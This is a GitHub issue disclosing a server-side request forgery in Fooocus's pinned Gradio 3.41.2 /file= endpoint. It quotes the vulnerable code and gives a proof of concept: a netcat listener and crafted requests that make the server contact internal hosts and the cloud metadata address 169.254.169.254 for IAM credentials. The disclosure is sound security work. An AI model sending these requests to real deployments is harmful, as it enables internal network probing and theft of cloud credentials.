#4197·Fooocus

Server-Side Request Forgery via Gradio 3.41.2 /file= Endpoint

Author: geo-chenCreated Jul 5, 2026Updated Jul 5, 2026
Labelsbugtriage

Checklist

  • The issue has not been resolved by following the troubleshooting guide
  • The issue exists on a clean installation of Fooocus
  • The issue exists in the current version of Fooocus
  • The issue has not been reported before recently
  • The issue has been reported before but has not been fixed yet

What happened?

Summary

Fooocus pins Gradio 3.41.2 in requirements_versions.txt. The Gradio 3.x /file= endpoint contains a validate_url() function that makes a real outbound HTTP request (HEAD) to any URL supplied in the path, then returns a 302 redirect to that URL if the target responds with 2xx. This allows an unauthenticated attacker to probe and interact with internal network services that are reachable from the Fooocus server but not from the attacker directly. Fooocus has no authentication and listens on 0.0.0.0 by default.

Details

In Gradio 3.41.2 (gradio/routes.py lines 346-394), the /file={path_or_url:path} handler calls utils.validate_url(path_or_url) before performing any security checks:

@app.get("/file={path_or_url:path}", dependencies=[Depends(login_check)])
async def file(path_or_url: str, request: fastapi.Request):
    blocks = app.get_blocks()
    if utils.validate_url(path_or_url):      # <-- outbound HTTP request here
        return RedirectResponse(
            url=path_or_url, status_code=status.HTTP_302_FOUND
        )

validate_url() in gradio/utils.py lines 629-638:

def validate_url(possible_url: str) -> bool:
    headers = {"User-Agent": "gradio (https://gradio.app/; [email protected])"}
    try:
        head_request = requests.head(possible_url, headers=headers)
        if head_request.status_code == 405 or head_request.status_code == 403:
            return requests.get(possible_url, headers=headers).ok
        return head_request.ok
    except Exception:
        return False

When path_or_url starts with http:// or https://, the server unconditionally makes a HEAD (or GET) request to the attacker-supplied URL. If the target responds with 2xx, the server returns HTTP 302 to the attacker's browser, confirming the host is reachable. If the target refuses the connection, the function returns False and the server returns 404.

This allows:

  1. Internal network port scanning (response 302 = open, 404 = closed/timeout).
  2. Triggering GET requests to internal services that respond to HEAD with 405/403.
  3. In cloud environments, accessing instance metadata endpoints (e.g. http://169.254.169.254/latest/meta-data/).

Steps to reproduce the problem

PoC

Prerequisites: Fooocus running with --listen (default Docker mode). No authentication required.

Start an internal HTTP listener (simulating an internal metadata service):

# On the host at 172.18.0.1:9763 (reachable from the container)
nc -l -p 9763

Send the SSRF request to Fooocus:

GET /file=http://172.18.0.1:9763/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: FOOOCUS_HOST:7865

Observed at the internal listener:

HEAD /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 172.18.0.1:9763
User-Agent: gradio (https://gradio.app/; [email protected])
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Fooocus server response to attacker: HTTP/1.1 302 Found

Live validated on commit ae05379 with Gradio 3.41.2 in Docker container.

Cloud exploitation: GET /file=http://169.254.169.254/latest/meta-data/iam/security-credentials/ causes the Fooocus server to make a GET request to the AWS instance metadata endpoint and return a 302 redirect, allowing the attacker's browser to follow the redirect and retrieve credentials from the metadata service.

Impact

An unauthenticated attacker can use Fooocus as an HTTP proxy to probe and interact with internal network services. In cloud deployments (AWS, GCP, Azure), this can be chained with the IMDS endpoint to retrieve temporary IAM credentials, leading to full cloud account compromise. The issue is in Fooocus's pinned Gradio version; upgrading to Gradio 4.x resolves it.

What should have happened?

What browsers do you use to access Fooocus?

No response

Where are you running Fooocus?

None

What operating system are you using?

No response

Console logs

-

Additional information

No response